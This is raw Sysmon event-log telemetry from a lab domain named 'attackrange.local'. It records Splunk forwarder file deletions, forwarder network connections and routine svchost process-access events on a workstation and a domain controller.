AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017335Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:37.702{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C31E59C2C291B9121DB6DC7E42A97A0A,SHA256=EA2F50F115B8ABAAC46D4A0DDE478BDB454C432A784A964850A8220797C42F9C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:34.370{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63085-false10.0.1.12-8000- 23542300x800000000000000017337Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:38.718{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6193CD6EED3F1BA9CBD628FE54CCDC99,SHA256=C01C9CD2CF533F0253ED5F5A443ABA2051F56529341EC325D0E0CB5DC4A4D4BC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:38.029{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3020B54704472F383BB3C72B5243D60,SHA256=2D7BEAF7FFDB7BD151C44BD1388BE6EE80FE477830784A39DF60390383864044,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017336Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.410{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50348-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017338Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:39.764{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8A3C04B2A528D19F41441588752742A1,SHA256=E9EA98DCE2F3A48291F853F43EC6B8019D3C1207FE80A0531712CE5CAA616E61,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:39.045{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1E30BD3BF8F35D58ABF03D5EA2244E2D,SHA256=E66C4FC76FB6A5B8D93921E39D6ADFA288CEC772C862586759D47562FF4A2B4B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017339Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:40.811{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ABAE240DD57BD28B9D1CA09B5A227C1C,SHA256=50F80E6EF61D0C0C4DB476A5E2D777AFFDCEB93289C799F4BF3F1FECC6DFB1E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:40.046{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE7C6BC74100AB5B62963E4FABB9EB45,SHA256=640836B48815C6AFE300C5B33D23EC1AA7EB8F6F35F0850E040E602C5A5274D3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017340Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:41.827{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=01DE76C1C96FC2509F6387D5370F8662,SHA256=9033552AD367ABEDBD07CAD0BDF7898FEF8E534E1317B1E81511F219E0ACF720,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.646{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1F3CC036FFF6254C00E29422F2C7CECE,SHA256=D2F38F2250FA2050FD015E17E15704E1CD8BE43601C0C4E187E0EC4790026904,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.646{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C58BD70F65A9292FB83762A65A2CBBC3,SHA256=E186134715214CBE15D33FAAD63326B976D548C16C9F166FBA5D48B893DE8B56,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000053981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 